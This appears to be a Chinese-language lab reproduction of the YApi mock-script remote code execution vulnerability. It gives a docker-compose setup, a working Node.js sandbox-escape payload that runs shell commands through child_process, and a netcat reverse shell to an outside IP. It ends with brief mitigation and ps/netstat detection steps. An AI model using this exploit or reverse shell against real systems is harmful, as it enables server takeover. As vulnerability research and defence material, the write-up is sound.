网站开放注册功能时可随意注册,设置全局mock脚本可执行任意代码。
Yapi <= 1.9.2
YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
这里使用的JayFong的docker-YApi,WEB UI在40001端口。修改了版本号为1.8.0
version: '3'
services:
yapi-web:
image: jayfong/yapi:1.8.0
container_name: yapi-web
ports:
- 40001:3000
environment:
- [email protected]
- YAPI_ADMIN_PASSWORD=adm1n
- YAPI_CLOSE_REGISTER=false
- YAPI_DB_SERVERNAME=yapi-mongo
- YAPI_DB_PORT=27017
- YAPI_DB_DATABASE=yapi
- YAPI_MAIL_ENABLE=false
- YAPI_LDAP_LOGIN_ENABLE=false
- YAPI_PLUGINS=[]
depends_on:
- yapi-mongo
links:
- yapi-mongo
restart: unless-stopped
yapi-mongo:
image: mongo:latest
container_name: yapi-mongo
volumes:
- ./data/db:/data/db
expose:
- 27017
restart: unless-stopped
启动镜像
docker-compose up -d
启动后发现管理员账号密码不对,应该是环境变量在容器中没有使用,查看配置文件找到管理员账号
查看安装脚本,找到密码
打开WEB UI,使用[email protected]、ymfe.org登录
新建项目
新建接口
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("ls").toString()
可以把ls改为反弹shell等,例如
nc 10.28.144.100 7777 -e /bin/sh
更新为最新版、禁止注册是最好的防御方式
入侵检测可以检测一下可疑的进程、网络连接,例如前面说的反弹Shell可以用下面的方式进行检测:
ps -eo pid,ppid,comm,args
netstat -anp | grep ESTABLISHED
可以看到子进程117在与10.28.144.100的7777端口进行通信
github-YMFE-yapi
yapi文档
yapi-issue2229
Awesome-POC-yapi
YApi Mock功能远程代码执行漏洞复现
gitee-JayFong-docker-YApi